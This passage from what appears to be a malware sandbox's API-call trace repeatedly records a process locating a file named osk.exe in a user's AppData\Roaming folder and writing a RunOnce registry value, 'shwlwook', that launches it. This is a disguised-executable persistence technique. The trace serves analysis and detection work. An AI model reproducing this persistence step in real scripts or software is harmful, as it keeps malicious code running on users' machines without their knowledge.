bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0000) returned 0x0 [0255.823] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2 [0255.823] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.823] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.823] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.823] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.823] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f030 | out: ppvObject=0x624f030*=0x0) returned 0x80004002 [0255.824] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x3 [0255.824] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2 [0255.824] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.824] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2 [0255.824] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f040) returned 0x0 [0255.825] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1 [0255.825] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.825] malloc (_Size=0x178) returned 0x54d1638 [0255.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.825] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.825] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.825] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.826] RegCloseKey (hKey=0x14c) returned 0x0 [0255.826] SetEvent (hEvent=0x4a0) returned 1 [0255.826] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.826] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.827] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.827] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.827] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.828] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.828] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f090 | out: ppvObject=0x624f090*=0x0) returned 0x80004002 [0255.828] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x3 [0255.828] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.828] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x4 [0255.828] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0060) returned 0x0 [0255.828] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x3 [0255.828] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.828] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.828] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.829] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.829] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f0b0 | out: ppvObject=0x624f0b0*=0x0) returned 0x80004002 [0255.829] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x4 [0255.829] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x3 [0255.829] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.829] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x3 [0255.829] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f0c0) returned 0x0 [0255.830] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2 [0255.830] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.830] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.830] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.831] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.831] RegCloseKey (hKey=0x14c) returned 0x0 [0255.831] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.831] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.843] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.843] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.843] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.843] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.843] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f110 | out: ppvObject=0x624f110*=0x0) returned 0x80004002 [0255.843] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x4 [0255.843] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.843] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x5 [0255.844] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e00c0) returned 0x0 [0255.844] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x4 [0255.844] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.844] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.844] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.844] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.844] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f130 | out: ppvObject=0x624f130*=0x0) returned 0x80004002 [0255.844] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x5 [0255.844] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x4 [0255.844] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.844] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x4 [0255.844] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f140) returned 0x0 [0255.845] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x3 [0255.845] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.846] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.846] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.846] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.846] RegCloseKey (hKey=0x14c) returned 0x0 [0255.846] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.847] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.859] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.859] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.859] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.859] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.859] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f190 | out: ppvObject=0x624f190*=0x0) returned 0x80004002 [0255.859] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x5 [0255.859] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.859] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x6 [0255.859] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0120) returned 